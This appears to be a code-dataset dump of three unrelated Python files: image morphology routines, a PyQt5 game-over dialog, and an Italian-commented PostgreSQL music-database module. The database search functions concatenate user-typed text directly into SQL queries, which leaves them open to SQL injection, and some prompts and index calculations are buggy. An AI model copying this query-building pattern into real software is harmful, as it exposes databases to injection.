np.mean(img[img <= int(np.round(mean))])\n new_mean = (bg_mean + fg_mean) / 2\n if new_mean == mean:\n return segment(img, new_mean)\n mean = new_mean\n\n\ndef binarize(img, mode='hist', th=None):\n # Auxiliary function to convert color or grayscale images to black and white (binary).\n\n bin_img = img.copy()\n if len(img.shape) == 3:\n bin_img = gray_conversion(np.copy(img))\n if mode == 'seg':\n return segment(bin_img, th)\n if mode == 'hist':\n return hist_thresh(bin_img)\n\n\ndef fit(index):\n # Auxiliary function to compute intersection of a structuring element and a binary image.\n\n if index < 0:\n return 0\n else:\n return index\n\n\ndef find_range(img):\n # Auxiliary function to turn binary images into [0, 255] format over [0, 1].\n\n if img[img == 1].any():\n return np.asarray(img * 255, dtype=np.float64)\n else:\n return np.asarray(img, dtype=np.float64)\n\n\ndef strel(shape='rect', dim=(3, 3), rad=3):\n if shape == 'rect':\n return np.ones(dim, np.uint8)\n if shape == 'cross':\n strel = np.zeros(dim, np.uint)\n strel[dim[0] // 2, :] = 1\n strel[:, dim[1] // 2] = 1\n return strel\n if shape == 'diag':\n return np.eye(dim[0], dim[1], dtype=np.uint8)\n if shape == 'anti':\n strel = np.eye(dim[0], dim[1], dtype=np.uint8)\n return np.fliplr(strel)\n if shape == 'ellipse':\n rad = abs(np.round(rad))\n strel = np.zeros((2*rad - 1, 2*rad - 1), np.uint8)\n origin = (2*rad - 1) // 2\n for x in range(2*rad - 1):\n for y in range(2*rad - 1):\n if (x - origin)**2 + (y - origin)**2 < rad**2 - 1:\n strel[x, y] = 1\n return strel\n if shape == 'disk':\n rad = abs(np.round(rad))\n strel = np.zeros((2*rad - 1, 2*rad - 1), np.uint8)\n origin = (2*rad - 1) // 2\n for x in range(2*rad - 1):\n for y in range(2*rad - 1):\n if abs(x - origin) + abs(y - origin) < rad:\n strel[x, y] = 1\n return strel\n\n\ndef hist_eq(img):\n hist = [np.sum(img == i) for i in range(256)]\n hist = np.array(hist, dtype=np.float64)\n PDF = hist/img.size\n CDF = np.cumsum(PDF)\n CDF = np.asarray(CDF, dtype=np.float64)\n mod_img = np.zeros(img.shape, dtype=np.uint8)\n for i in range(256):\n mod_img[img == i] = np.round(CDF[i] * 255)\n return mod_img\n\n\ndef erosion_ver2(img, strel=np.ones((3, 3))):\n # The erosion function accepts a binary shape (img) and a structuring element. If no structuring element\n # is passed to the function, a 3-by-3 array of ones is used as a default.\n # The function returns the erosion of img by the structuring element.\n\n img = binarize(img, 'seg')\n img = find_range(img)\n img /= 255\n dim = img.shape\n strel=np.asarray(strel, dtype=np.uint8)\n orig = ((strel.shape[0])// 2, (strel.shape[1])// 2)\n x, y = strel.shape[0], strel.shape[1]\n a = np.zeros(dim)\n\n for i in range(orig[0], dim[0] - orig[0], 1):\n for j in range(orig[1], dim[1]-orig[1], 1):\n intersection = img[i - orig[0]:i - orig[0] + x, j - orig[1]:j - orig[0] + y]\n intersection_sum = intersection + strel\n overlap = intersection[intersection_sum == 2]\n u = np.count_nonzero(overlap)\n v = np.count_nonzero(strel)\n if u == v:\n a[i, j] = 1\n\n return np.asarray(a*255 , dtype=np.uint8)\n\n\ndef dilation_ver2(img, strel=np.ones((3, 3))):\n # The erosion function accepts a binary shape (img) and a structuring element. If no structuring element\n # is passed to the function, a 3-by-3 array of ones is used as a default.\n # The function returns the erosion of img by the structuring element.\n\n # img = binarize(img, 'seg')\n img = find_range(img)\n img /= 255\n dim = img.shape\n strel = np.asarray(strel, dtype=np.uint8)\n orig = ((strel.shape[0])// 2, (strel.shape[1])// 2)\n x, y = strel.shape[0], strel.shape[1]\n a = np.zeros(dim)\n\n for i in range(orig[0], dim[0] - orig[0], 1):\n for j in range(orig[1], dim[1] - orig[1], 1):\n intersection = img[i - orig[0]:i - orig[0] + x, j - orig[1]:j - orig[0] + y]\n intersection_sum = intersection + strel\n overlap = intersection[intersection_sum == 2]\n u = np.count_nonzero(overlap)\n if u >= 1:\n a[i, j] = 1\n\n return np.asarray(a * 255, dtype=np.uint8)\n\n","sub_path":"morphology.py","file_name":"morphology.py","file_ext":"py","file_size_in_byte":11212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"116584444","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nimport sys\n\n\"\"\"This module is contain winners Gui and all related func\"\"\"\n\n\nclass Winers(QtWidgets.QMainWindow, QtWidgets.QDialog):\n\n # par=ludo-game #par_1=dialog for closing the window\n def __init__(self, par, par_1):\n super().__init__()\n self.par = par\n self.par_1 = par_1\n\n def setupUi(self, mainWindow):\n mainWindow.setObjectName(\"mainWindow\")\n mainWindow.resize(363, 494)\n self.centralwidget = QtWidgets.QWidget(mainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.label_5 = QtWidgets.QLabel(self.centralwidget)\n self.label_5.setGeometry(QtCore.QRect(100, 260, 153, 36))\n font = QtGui.QFont()\n font.setFamily(\"Ravie\")\n font.setPointSize(16)\n self.label_5.setFont(font)\n self.label_5.setObjectName(\"label_5\")\n self.label_3 = QtWidgets.QLabel(self.centralwidget)\n self.label_3.setGeometry(QtCore.QRect(100, 210, 152, 36))\n font = QtGui.QFont()\n font.setFamily(\"Ravie\")\n font.setPointSize(16)\n self.label_3.setFont(font)\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(90, 310, 157, 36))\n font = QtGui.QFont()\n font.setFamily(\"Ravie\")\n font.setPointSize(16)\n self.label_4.setFont(font)\n self.label_4.setObjectName(\"label_4\")\n self.label = QtWidgets.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(90, 50, 211, 41))\n font = QtGui.QFont()\n font.setFamily(\"MS Sans Serif\")\n font.setPointSize(15)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(\"label\")\n self.label_2 = QtWidgets.QLabel(self.centralwidget)\n self.label_2.setGeometry(QtCore.QRect(130, 80, 131, 51))\n font = QtGui.QFont()\n font.setFamily(\"MS Sans Serif\")\n font.setPointSize(15)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_2.setFont(font)\n self.label_2.setObjectName(\"label_2\")\n self.label_1 = QtWidgets.QLabel(self.centralwidget)\n self.label_1.setGeometry(QtCore.QRect(100, 160, 145, 36))\n font = QtGui.QFont()\n font.setFamily(\"Ravie\")\n font.setPointSize(16)\n self.label_1.setFont(font)\n self.label_1.setObjectName(\"label_1\")\n self.pushButton = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(61, 381, 93, 28))\n font = QtGui.QFont()\n font.setFamily(\"MS Sans Serif\")\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.pushButton.setFont(font)\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(179, 381, 93, 28))\n font = QtGui.QFont()\n font.setFamily(\"MS Sans Serif\")\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.pushButton_2.setFont(font)\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.lbl = [self.label_1, self.label_3, self.label_5, self.label_4]\n\n\n self.retranslateUi(mainWindow)\n QtCore.QMetaObject.connectSlotsByName(mainWindow)\n self.pushButton.clicked.connect(self.reset)\n self.pushButton_2.clicked.connect(self.end)\n\n def reset(self):\n self.new_game_add()\n self.par.reset()\n self.par_1.close()\n\n def new_game_add(self):\n msg = QtWidgets.QMessageBox()\n msgBox = msg.information(self, 'New Game', 'setup NeW Game')\n if msgBox == QtWidgets.QMessageBox.Ok:\n msg.close()\n\n def end(self):\n sys.exit()\n\n def retranslateUi(self, mainWindow):\n _translate = QtCore.QCoreApplication.translate\n mainWindow.setWindowTitle(_translate(\"mainWindow\", \"Winers\"))\n self.label_5.setText(_translate(\"mainWindow\", \"\"))\n self.label_3.setText(_translate(\"mainWindow\", \"\"))\n self.label_4.setText(_translate(\"mainWindow\", \"\"))\n self.label.setText(_translate(\"mainWindow\", \"Game Finished!\"))\n self.label_2.setText(_translate(\"mainWindow\", \"ranking:\"))\n self.label_1.setText(_translate(\"mainWindow\", \"\"))\n self.pushButton.setText(_translate(\"mainWindow\", \"New Game\"))\n self.pushButton_2.setText(_translate(\"mainWindow\", \"Finish\"))\n","sub_path":"winers_.py","file_name":"winers_.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"283288427","text":"\"\"\"\n@author: Francesco Barile 677396\n\"\"\"\n\nimport psycopg2\nfrom texttable import Texttable\nfrom email_requests import *\n\n\ndef create_db():\n \"\"\"\n Creazione del database\n \"\"\"\n # establishing the connection\n conn = psycopg2.connect(\n database=\"postgres\", user='postgres'\n )\n conn.autocommit = True\n\n # Creating a cursor object using the cursor() method\n cursor = conn.cursor()\n\n # Preparing query to create a database\n sql = '''CREATE database music_db'''\n try:\n # Creating a database\n cursor.execute(sql)\n print(\"Database creato con successo.\")\n except Exception as create_db_e:\n print(create_db_e)\n\n # Closing the connection\n conn.close()\n\n\ndef conn_db(user, database):\n \"\"\"\n Funzione utilizzata per creare una connessione con il database.\n\n :param user: str, utente con cui accediamo al db.\n :param database: str, nome del database\n :return: dict, contiene le chiavi cursor e connection per effettuare le operazioni sul db selezionato.\n \"\"\"\n connection = psycopg2.connect(user=user, database=database)\n return {\"cursor\": connection.cursor(), \"connection\": connection}\n\n\ndef conn_close_db(conn):\n \"\"\"\n Funzione utilizzata per chiudere la connessione al database.\n\n :param conn: dict , connesione al database da chiudere.\n :return: boolean, True se la connesione viene chiusa correttamente, False altrimenti.\n \"\"\"\n try:\n conn[\"cursor\"].close()\n conn[\"connection\"].close()\n return True\n except Exception as e:\n print(e)\n return False\n\n\ndef create_primary_genre():\n \"\"\"\n Funzione che crea la tabella primary_genre\n \"\"\"\n try:\n conn = conn_db('postgres', 'music_db')\n\n create_table_query = '''CREATE TABLE IF NOT EXISTS primary_genre\n (ID SERIAL PRIMARY KEY NOT NULL,\n NAME TEXT UNIQUE NOT NULL); '''\n\n conn[\"cursor\"].execute(create_table_query)\n conn[\"connection\"].commit()\n print(\"Table created successfully in PostgreSQL \")\n\n # closing database connection.\n if conn[\"connection\"]:\n conn_close_db(conn)\n print(\"PostgreSQL connection is closed\")\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error while creating PostgreSQL table\", error)\n\n\ndef create_sub_genre():\n \"\"\"\n Funzione che crea la tabella sub_genre\n \"\"\"\n try:\n conn = conn_db('postgres', 'music_db')\n\n create_table_query = '''CREATE TABLE IF NOT EXISTS sub_genre\n (ID SERIAL PRIMARY KEY NOT NULL,\n NAME TEXT UNIQUE NOT NULL,\n ID_PRIMARY_GENRE INT,\n FOREIGN KEY (ID_PRIMARY_GENRE)\n REFERENCES primary_genre(ID)); '''\n\n conn[\"cursor\"].execute(create_table_query)\n conn[\"connection\"].commit()\n print(\"Table created successfully in PostgreSQL \")\n\n # closing database connection.\n if conn[\"connection\"]:\n conn_close_db(conn)\n print(\"PostgreSQL connection is closed\")\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error while creating PostgreSQL table\", error)\n\n\ndef create_genre():\n \"\"\"\n Funzione che crea la tabella genre\n \"\"\"\n try:\n conn = conn_db('postgres', 'music_db')\n\n create_table_query = '''CREATE TABLE IF NOT EXISTS genre\n (ID SERIAL PRIMARY KEY NOT NULL,\n NAME TEXT UNIQUE NOT NULL,\n ID_SUB_GENRE INT NULL,\n FOREIGN KEY (ID_SUB_GENRE)\n REFERENCES sub_genre(ID)); '''\n\n conn[\"cursor\"].execute(create_table_query)\n conn[\"connection\"].commit()\n print(\"Table created successfully in PostgreSQL \")\n\n # closing database connection.\n if conn[\"connection\"]:\n conn_close_db(conn)\n print(\"PostgreSQL connection is closed\")\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error while creating PostgreSQL table\", error)\n\n\ndef create_artist():\n \"\"\"\n Funzione che crea la tabella artist\n \"\"\"\n try:\n conn = conn_db('postgres', 'music_db')\n\n create_table_query = '''CREATE TABLE IF NOT EXISTS artist\n (ID SERIAL PRIMARY KEY NOT NULL,\n NAME TEXT); '''\n\n conn[\"cursor\"].execute(create_table_query)\n conn[\"connection\"].commit()\n print(\"Table created successfully in PostgreSQL \")\n\n # closing database connection.\n if conn[\"connection\"]:\n conn_close_db(conn)\n print(\"PostgreSQL connection is closed\")\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error while creating PostgreSQL table\", error)\n\n\ndef create_genre_artist():\n \"\"\"\n Funzione che crea la tabella genre_artist\n \"\"\"\n try:\n conn = conn_db('postgres', 'music_db')\n\n create_table_query = '''CREATE TABLE IF NOT EXISTS genre_artist\n (ID SERIAL PRIMARY KEY NOT NULL,\n ID_ARTIST INT,\n ID_GENRE INT,\n FOREIGN KEY (ID_ARTIST)\n REFERENCES artist(ID), \n FOREIGN KEY (ID_GENRE)\n REFERENCES genre(ID)); '''\n\n conn[\"cursor\"].execute(create_table_query)\n conn[\"connection\"].commit()\n print(\"Table created successfully in PostgreSQL \")\n\n # closing database connection.\n if conn[\"connection\"]:\n conn_close_db(conn)\n print(\"PostgreSQL connection is closed\")\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error while creating PostgreSQL table\", error)\n\n\ndef create_album():\n \"\"\"\n Funzione che crea la tabella album\n \"\"\"\n try:\n conn = conn_db('postgres', 'music_db')\n\n create_table_query = '''CREATE TABLE IF NOT EXISTS album\n (ID SERIAL PRIMARY KEY NOT NULL,\n TITLE TEXT, \n ID_ARTIST INT,\n ID_GENRE INT,\n FOREIGN KEY (ID_ARTIST)\n REFERENCES artist(ID),\n FOREIGN KEY (ID_GENRE)\n REFERENCES genre(ID)); '''\n\n conn[\"cursor\"].execute(create_table_query)\n conn[\"connection\"].commit()\n print(\"Table created successfully in PostgreSQL \")\n\n # closing database connection.\n if conn[\"connection\"]:\n conn_close_db(conn)\n print(\"PostgreSQL connection is closed\")\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error while creating PostgreSQL table\", error)\n\n\ndef populate_db():\n \"\"\"\n Funzione che popola le tabelle del database attravero i file csv presenti nella cartella dedicata 'csv_files'\n \"\"\"\n try:\n path = '/csv_files/'\n conn = conn_db('postgres', 'music_db')\n postgres_populate_primary_genre = \"\"\" COPY primary_genre(id, name) FROM '\"\"\" + path + 'primary_genre.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER; \"\"\"\n conn[\"cursor\"].execute(postgres_populate_primary_genre)\n\n postgres_populate_sub_genre = \"\"\" COPY sub_genre(id, name, id_primary_genre) FROM '\"\"\" + path + \\\n 'sub_genre.csv' + \"\"\"' DELIMITER ',' CSV HEADER; \"\"\"\n conn[\"cursor\"].execute(postgres_populate_sub_genre)\n\n postgres_populate_genre = \"\"\" COPY genre(id, name, id_sub_genre) FROM '\"\"\" + path + 'genres.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER; \"\"\"\n conn[\"cursor\"].execute(postgres_populate_genre)\n\n postgres_populate_artist = \"\"\" COPY artist(id, name) FROM '\"\"\" + path + 'artists.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER; \"\"\"\n conn[\"cursor\"].execute(postgres_populate_artist)\n\n postgres_populate_genre_artist = \"\"\" COPY genre_artist(id, id_artist, id_genre) FROM '\"\"\" + path + \\\n 'genres_artists.csv' + \"\"\"' DELIMITER ',' CSV HEADER; \"\"\"\n conn[\"cursor\"].execute(postgres_populate_genre_artist)\n\n postgres_populate_album = \"\"\" COPY album(id, title, id_artist, id_genre) FROM '\"\"\" + path + \\\n 'albums.csv' + \"\"\"' DELIMITER ',' CSV HEADER; \"\"\"\n conn[\"cursor\"].execute(postgres_populate_album)\n\n conn[\"connection\"].commit()\n conn_close_db(conn)\n except Exception as populate_db_err:\n print(populate_db_err)\n\n\ndef crete_music_database():\n \"\"\"\n Funzione che utilizza le funzioni precedenti per creare e popolare il database.\n \"\"\"\n try:\n if conn_db('postgres', 'music_db'):\n pass # Il database esiste\n except:\n create_db()\n create_primary_genre()\n create_sub_genre()\n create_genre()\n create_artist()\n create_genre_artist()\n create_album()\n populate_db()\n print('Creazione e popolazione avvenuta con successo.\\n')\n\n\ndef backup_music_database():\n \"\"\"\n Funzione che esegue il backup del database all'interno di file csv, posizionati nella cartella tmp del pc\n \"\"\"\n try:\n path = '/tmp/'\n conn = conn_db('postgres', 'music_db')\n postgres_bp_prim_genre = \"\"\" COPY primary_genre(id, name) TO '\"\"\" + path + 'primary_genre.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER;\"\"\"\n conn[\"cursor\"].execute(postgres_bp_prim_genre)\n\n postgres_bp_sub_genre = \"\"\" COPY sub_genre(id, name, id_primary_genre) TO '\"\"\" + path + 'sub_genre.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER;\"\"\"\n conn[\"cursor\"].execute(postgres_bp_sub_genre)\n\n postgres_bp_genre = \"\"\" COPY genre(id, name, id_sub_genre) TO '\"\"\" + path + 'genres.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER;\"\"\"\n conn[\"cursor\"].execute(postgres_bp_genre)\n\n postgres_bp_artist = \"\"\" COPY artist(id, name) TO '\"\"\" + path + 'artists.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER;\"\"\"\n conn[\"cursor\"].execute(postgres_bp_artist)\n\n postgres_bp_genre_artist = \"\"\" COPY genre_artist(id, id_artist, id_genre) TO '\"\"\" + path + \\\n 'genres_artists.csv' + \"\"\"' DELIMITER ',' CSV HEADER;\"\"\"\n conn[\"cursor\"].execute(postgres_bp_genre_artist)\n\n postgres_bp_album = \"\"\" COPY album(id, title, id_artist, id_genre) TO '\"\"\" + path + 'albums.csv' + \\\n \"\"\"' DELIMITER ',' CSV HEADER;\"\"\"\n conn[\"cursor\"].execute(postgres_bp_album)\n conn[\"connection\"].commit()\n conn_close_db(conn)\n print('Backup eseguito con successo.\\n')\n except Exception as bp_db_err:\n print(bp_db_err)\n\n\ndef draw_album_table(header, rows):\n \"\"\"\n Funzione utilizzata per stamapre a video una tabella contenete tutti gli album corispondenti alla ricerca\n dell'utente.\n\n :param header: list, contiene gli elementi dell'header della tabella.\n :param rows: list, lista degli album da inseire nella tabella, con nome e generi associati ad esso.\n \"\"\"\n t = Texttable()\n t.add_row(header)\n choose = 1\n for a in rows:\n t.add_row([choose, a['name'], a[\"name_genre\"], a[\"name_artist\"]])\n choose += 1\n print(t.draw())\n\n\ndef draw_artist_table(header, rows):\n \"\"\"\n Funzione utilizzata per stamapre a video una tabella contenete tutti gli artisti corispondenti alla ricerca\n dell'utente.\n\n :param header: list, contiene gli elementi dell'header della tabella.\n :param rows: list, lista degli artist da inseire nella tabella, con nome e generi associati ad esso.\n \"\"\"\n t = Texttable()\n t.add_row(header)\n choose = 1\n for a in rows:\n x = a['genre_1']\n for g in range(2, a[\"n_gen\"]):\n x = x + ',' + a['genre_' + str(g)]\n t.add_row([choose, a['name'], x])\n choose += 1\n print(t.draw())\n\n\ndef search_album_db(conn, value):\n \"\"\"\n Funzione che verifica se l'album inserito è presente nel database.\n\n :param conn: dict, connessione al database.\n :param value: str, nome dell'album di cui si verifica la presenza.\n :return: album_found: dict, contiene le informazioni relative all'album trovato.\n \"\"\"\n list_album = []\n x = \"'%\" + str(value) + \"%'\"\n postgres_select_album_query = \"\"\" select id, title, id_artist, id_genre from album where LOWER(title) LIKE LOWER(\"\"\" + x + \"\"\") \"\"\"\n conn[\"cursor\"].execute(postgres_select_album_query)\n for row_alb in conn[\"cursor\"].fetchall():\n context = {\"name\": row_alb[1], \"id\": row_alb[0], \"id_artist\": row_alb[2], \"id_genre\": row_alb[3]}\n # Inserisco il nome del genere\n postgres_select_alb_genre_query = \"\"\" select name from genre where id=\"\"\" + \"'\" + str(\n row_alb[3]) + \"'\" + \"\"\" \"\"\"\n conn[\"cursor\"].execute(postgres_select_alb_genre_query)\n context[\"name_genre\"] = str(conn[\"cursor\"].fetchall()[0][0])\n\n # Inserisco il nome dell'artista\n postgres_select_alb_artist_query = \"\"\" select name from artist where id=\"\"\" + \"'\" + str(\n row_alb[2]) + \"'\" + \"\"\" \"\"\"\n conn[\"cursor\"].execute(postgres_select_alb_artist_query)\n context[\"name_artist\"] = str(conn[\"cursor\"].fetchall()[0][0])\n # Aggiungo l'album alla lista degli album trovati\n list_album.append(context)\n\n if not list_album:\n print('Album non trovato')\n while True:\n scelta = input('Vuoi chiedere all\\'amministratore di inserire un album nel database? (y/n): ')\n if scelta.lower() == 'n':\n return None\n elif scelta.lower() == 's':\n email_sender(2, conn)\n else:\n if len(list_album) == 1:\n album_found = list_album[0]\n album_found = {\"id\": album_found[\"id\"], \"name\": album_found[\"name\"], \"id_artista\": album_found[\"id_artist\"],\n \"artista\": album_found[\"name_artist\"], \"id_genere\": album_found[\"id_genre\"],\n \"name_genre\": album_found[\"name_genre\"]}\n draw_album_table(['Choose', 'Name album', 'Genres', 'Artist'], list_album)\n while True:\n scelta = input('È Stato trovato soltanto questo album, confermi la scelta? (y/n): ')\n if scelta.lower() == 'n':\n return None\n elif scelta.lower() == 'y':\n return album_found\n else:\n draw_album_table(['Choose', 'Name album', 'Genres', 'Artist'], list_album)\n print('\\nSono state trovate ' + str(len(list_album)) + ' istanze, scegli l\\'album che stavi '\n 'cercando tra questi (inserisci il numero presente nella prima colonna, 0 se nessunoo di questi '\n 'corrisponde alla ricerca)')\n while True:\n scelta = input('Inserisci la tua scelta (da 1 a ' + str(len(list_album)) + '):')\n if 1 <= int(scelta) <= len(list_album):\n break\n elif int(scelta) == 0:\n return None\n album_found = list_album[int(scelta) - 1]\n album_found = {\"id\": album_found[\"id\"], \"name\": album_found[\"name\"], \"id_artista\": album_found[\"id_artist\"],\n \"artista\": album_found[\"name_artist\"], \"id_genere\": album_found[\"id_genre\"],\n \"name_genre\": album_found[\"name_genre\"]}\n return album_found\n\n\ndef search_artist_db(conn, value):\n \"\"\"\n Funzione che verifica se l'artista è presente nel database.\n\n :param conn: dict, connessione al database.\n :param value: str, nome dell'artista di cui si verifica la presenza.\n :return: artists_found: dict, contiene le informazioni relative all'artista trovato.\n \"\"\"\n list_artists = []\n x = \"'%\" + str(value) + \"%'\"\n postgres_select_artist_query = \"\"\" select id, name from artist where LOWER(name) LIKE LOWER(\"\"\" + x + \"\"\") \"\"\"\n conn[\"cursor\"].execute(postgres_select_artist_query)\n for row_art in conn[\"cursor\"].fetchall():\n context = {\"name\": row_art[1], \"id\": row_art[0]}\n postgres_select_genres_query = \"\"\" select * from genre_artist where id_artist=\"\"\" + \"'\" + str(\n row_art[0]) + \"'\" + \"\"\" \"\"\"\n conn[\"cursor\"].execute(postgres_select_genres_query)\n count_genres = 1\n for row_genre in conn[\"cursor\"].fetchall():\n postgres_select_genre_query = \"\"\" select name from genre where id=' \"\"\" + str(row_genre[2]) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(postgres_select_genre_query)\n gen = conn[\"cursor\"].fetchall()[0][0]\n if gen:\n context[\"genre_\" + str(count_genres)] = gen\n count_genres += 1\n context[\"n_gen\"] = int(count_genres)\n list_artists.append(context)\n\n if not list_artists:\n print('Artista non trovato')\n while True:\n scelta = input('Vuoi chiedere all\\'amministratore di inserire un artista nel database? (y/n): ')\n if scelta.lower() == 'n':\n return None\n elif scelta.lower() == 'y':\n email_sender(1, conn)\n else:\n if len(list_artists) == 1:\n artist_found = list_artists[0]\n artist_found = {\"id\": artist_found[\"id\"], \"name\": artist_found[\"name\"]}\n draw_artist_table(['Choose', 'Name', 'Genres'], list_artists)\n while True:\n scelta = input('È Stato trovato soltanto questo artista, confermi la scelta? (y/n): ')\n if scelta.lower() == 'n':\n return None\n elif scelta.lower() == 'y':\n return artist_found\n else:\n draw_artist_table(['Choose', 'Name', 'Genres'], list_artists)\n print('\\nSono state trovate le seguenti ' + str(len(list_artists)) +\n ' istanze, scegli l\\'artista che stavi cercando tra questi (inserisci il numero presente nella prima '\n 'colonna, 0 se nessunoo di questi corrisponde alla ricerca)')\n while True:\n scelta = input('Inserisci la tua scelta (da 1 a ' + str(len(list_artists)) + '):')\n if 1 <= int(scelta) <= len(list_artists):\n break\n elif int(scelta) == 0:\n return None\n artist_found = list_artists[int(scelta) - 1]\n artist_found = {\"id\": artist_found[\"id\"], \"name\": artist_found[\"name\"]}\n return artist_found\n\n\ndef get_genres_list_from_artist(artisti):\n \"\"\"\n Funzione che prende in input la lista degli artisti e restiruisce la lista degli id dei generi associati.\n\n :param artisti: list, lista di artisti\n :return: genres: list, lista degli id relativi ai generi suonati dagli artisti.\n \"\"\"\n genres = []\n conn = conn_db('postgres', 'music_db')\n for artista in artisti:\n try:\n postgres_select_genres_query = \"\"\" select id_genre from genre_artist where id_artist=' \"\"\" + str(\n artista[\"id\"]) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(postgres_select_genres_query)\n for g in conn[\"cursor\"].fetchall():\n genres.append(g[0])\n except Exception as artist_genre_err:\n print(artist_genre_err)\n conn_close_db(conn)\n return genres\n\n\ndef get_artist_from_id(id_artist):\n \"\"\"\n Funzione che prende in input l'id dell'artista e restituisce il suo nome.\n\n :param id_artist: str, id dell'artista.\n :return: art_name: str, nome dell'artista\n \"\"\"\n conn = conn_db('postgres', 'music_db')\n query_for_id_sub_gen = \"\"\" select * from artist where id='\"\"\" + str(id_artist) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(query_for_id_sub_gen)\n art_name = conn[\"cursor\"].fetchall()[0]\n conn_close_db(conn)\n return art_name\n\n\ndef get_name_by_id_genre(id_genre):\n \"\"\"\n Funzione che prende in input l'id del genere e restituisce il nome associato.\n\n :param id_genre: str, id del genere.\n :return: n_g: str, nome genere.\n \"\"\"\n conn = conn_db('postgres', 'music_db')\n query_for_id_sub_gen = \"\"\" select name from genre where id='\"\"\" + str(id_genre) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(query_for_id_sub_gen)\n n_g = conn[\"cursor\"].fetchall()[0][0]\n conn_close_db(conn)\n return n_g\n\n\ndef get_id_sub_genre(id_genre):\n \"\"\"\n Funzione che pardendo dall'id del genere, restituisce l'id del suo genere padre presente nella tabella sub_genre.\n\n :param id_genre: str, id genere dalla tabella genre\n :return: s_g: int, id sub_genre padre del genre 'id_genre'.\n \"\"\"\n conn = conn_db('postgres', 'music_db')\n query_for_id_sub_gen = \"\"\" select id_sub_genre from genre where id='\"\"\" + str(id_genre) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(query_for_id_sub_gen)\n s_g = conn[\"cursor\"].fetchall()[0][0]\n conn_close_db(conn)\n return s_g\n\n\ndef get_id_prim_genre(id_sub_genre):\n \"\"\"\n Funzione che pardendo dall'id del sub_genre, restituisce l'id del suo genere padre presente nella tabella\n primary_genre.\n\n :param id_sub_genre: str, id genere dalla tabella sub_genre\n :return: p_g: int, id primary_genre padre del genere 'id_sub_genre'.\n \"\"\"\n conn = conn_db('postgres', 'music_db')\n query_for_id_prim_gen = \"\"\" select id_primary_genre from sub_genre where id='\"\"\" + str(id_sub_genre) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(query_for_id_prim_gen)\n p_g = conn[\"cursor\"].fetchall()[0][0]\n conn_close_db(conn)\n return p_g\n\n\ndef delete_genres_from_list(genres, pos_id_gen):\n \"\"\"\n Funzione che restituisce la lista dei generi (id) sottoforma di stringa, escluso quello di riferimento in\n posizione 'pos_id_gen'.\n\n :param genres: list, lista degli id dei generi\n :param pos_id_gen: int, posizione del genere (id) da esclude dalla coppia in output.\n :return: str, composto da due generi (id).\n \"\"\"\n if pos_id_gen == 0:\n return str(genres[1]) + ', ' + str(genres[2])\n elif pos_id_gen == 1:\n return str(genres[0]) + ', ' + str(genres[2])\n else:\n return str(genres[0]) + ', ' + str(genres[1])\n\n\ndef get_artist_list(genres, pos_id_gen, limit_num_artist):\n \"\"\"\n Funzione che restituisce gli artisti che suonano il genere genres[pos_id_gen], escludendo gli altri due generi.\n\n :param genres: list, lista di generi (id)\n :param pos_id_gen: int, posizione del genere da considerare per la lista di artisti in output.\n :param limit_num_artist: int, numero massimo di artisti da cercare all'interno del database.\n :return: list_artist: list, lista di artisti con id e nome, che suonano il genere genres[pos_id_gen], ma non gli\n altri due presenti in genres.\n \"\"\"\n conn = conn_db('postgres', 'music_db')\n # Seleziono tutti gli artisti del genere indicato\n id_gen = genres[pos_id_gen]\n lista_genere_escludere = delete_genres_from_list(genres, pos_id_gen)\n\n select_artists_query = \"\"\" select id,name from artist\n join (\n select distinct genre_artist.id_artist from genre_artist \n join (\n select distinct genre_artist.id_artist from genre_artist \n where genre_artist.id_genre in (\"\"\" + str(lista_genere_escludere) + \"\"\")\n ) as ga_ex on genre_artist.id_artist <> ga_ex.id_artist \n where genre_artist.id_genre = '\"\"\" + str(id_gen) + \"\"\"'\n ) as artisti_un_genere on artist.id = artisti_un_genere.id_artist\n offset floor(random()*'\"\"\" + str(limit_num_artist) + \"\"\"') \n limit '\"\"\" + str(limit_num_artist) + \"\"\"' \"\"\"\n conn[\"cursor\"].execute(select_artists_query)\n\n list_artist = conn[\"cursor\"].fetchall()\n\n conn_close_db(conn)\n return list_artist\n\n\ndef get_list_artist_three_genres(gen_list, input_artist_id_list):\n \"\"\"\n Funzione che restituisce gli artisti che suonano tutti i generi della lista gen_list. (Potrebbe essere vuota)\n\n :param gen_list: list, lista dei generi (id).\n :param input_artist_id_list: list, lista degli artisti (id) 